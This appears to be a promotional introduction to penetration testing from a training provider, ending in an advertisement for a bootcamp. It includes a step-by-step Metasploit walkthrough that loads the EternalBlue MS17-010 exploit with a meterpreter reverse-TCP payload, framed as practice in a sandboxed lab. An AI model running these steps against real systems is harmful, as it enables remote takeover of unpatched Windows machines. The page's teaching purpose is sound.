Introduction to Penetration Testing

What Is Penetration Testing?

Penetration Testing (or “pen testing”) is a simulated cyberattack performed by ethical hackers to test a system’s security. It’s more than just scanning for vulnerabilities; it’s about exploiting them to prove real-world risk, just like a cybercriminal might.

Pen testers help organisations:

• Uncover weaknesses in systems, networks, or applications

• Demonstrate the impact of vulnerabilities

• Provide actionable remediation advice

🛠 Try This at Home: Launch a Test Exploit in Metasploit

Tool Highlight: Metasploit Framework

Metasploit is a powerful penetration testing tool used by ethical hackers to simulate real attacks.

Basic Setup (on Kali Linux or Virtual Machine):

🖥️ First, make sure you have Metasploit installed (Kali Linux comes preinstalled with it).

Step 1: Open the Metasploit console

• msfconsole

Step 2: Search for a test exploit

• search windows/smb/ms17_010_eternalblue

🧪 Note: We are only practising in a virtual environment (e.g., Metasploitable2 or a sandboxed Windows VM). Never test on live systems without permission.

Step 3: Use an exploit module

• Use exploit/windows/smb/ms17_010_eternalblue

Step 4: Set your options

• set RHOSTS <target_IP> set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <your_IP>

Step 5: Run the exploit

• exploit

💡 This demonstrates how attackers take advantage of unpatched systems. Practice responsibly using legal test environments only.

🎓 Why Learn Penetration Testing?

Penetration testing builds real-world cybersecurity skills:

• Understand how attackers operate

• Learn to defend by attacking

• Identify and fix security holes before criminals find them

• Qualify for high-paying roles like Pen Tester, Red Team Analyst, or Security Consultant

🚀 Join Our Penetration Testing Bootcamp

Want to gain hands-on skills using Metasploit, Burp Suite, and Wireshark?

🎯 Our Penetration Testing Foundation Program gives you:

• Guided labs & challenges

• Weekly live support

• Access to real-world tools

• Self-paced video content

📚 Start Learning Today – Build the offensive skills needed to defend the digital world.